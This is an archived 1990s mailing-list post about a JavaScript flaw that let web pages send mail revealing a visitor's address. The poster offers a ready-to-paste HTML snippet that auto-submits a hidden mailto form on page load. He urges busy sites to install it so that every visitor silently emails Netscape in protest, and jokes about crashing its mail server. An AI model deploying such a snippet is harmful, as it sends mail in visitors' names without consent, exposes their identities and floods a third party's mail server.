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Re: JavaScript to grab email
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On Feb 20, 3:09pm, Mike Rose wrote:
> For those who haven't read the script, the technique used is as
> follows. A java script sends a mail message to the author of the
> script. The identity of the sender is in the mail headers. The
> script does not look at netscape variables or otherwise get the
> information from netscape or the environment.
Javascript is coming to annoy me more and more all the time. I can turn
off Java in Netscape, but I can't turn off Javascript, and I've already
encountered pages which use Javascript to animate status bars and so on.
My web browser should *not* be generating 90% of my usage, or if it is,
there should be a way of turning it off.
So, here's a proposal for those who (a) run high-traffic sites and (b)
are similarly annoyed with the Netscape plan.
Insert the following at the top of your top-level page.
<BODY onLoad="document.mailme.submit()">
<!-- First found at http://www.popco.com/grabtest.html -->
<form method=post name="mailme"
action="mailto:[email protected]?subject=javascript breaks privacy
protections">
<h3>Viewing this page has automatically sent a short piece of protest
e-mail to Netscape.</h3>
<input type=hidden name="Please let users turn " value="JAVASCRIPT OFF NOW!">
</form>
[the rest of your page here]
...
</BODY></HTML>
They *might* get the point.
<excuse>
It's *not* spamming them! Folks'll only--at most--send them about fifteen
messages a day!
</excuse>
They can use it to replace cookies, if they ever get rid of cookies.
["Alright, Jim, we've had to reboot the mail server fifteen times today,
which suggests that there's about fourteen thousand more users than
yesterday... Pity they can't talk to us, eh?"]
<malicious grin>
frodo =)
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Richard Martin
Alias|Wavefront - Toronto Office [Co-op Software Developer, Games Team]
[email protected]/[email protected] http://www.io.org/~samwise
Trinity College UofT ChemPhysCompSci 9T7+PEY=9T8 Shad Valley Waterloo 1992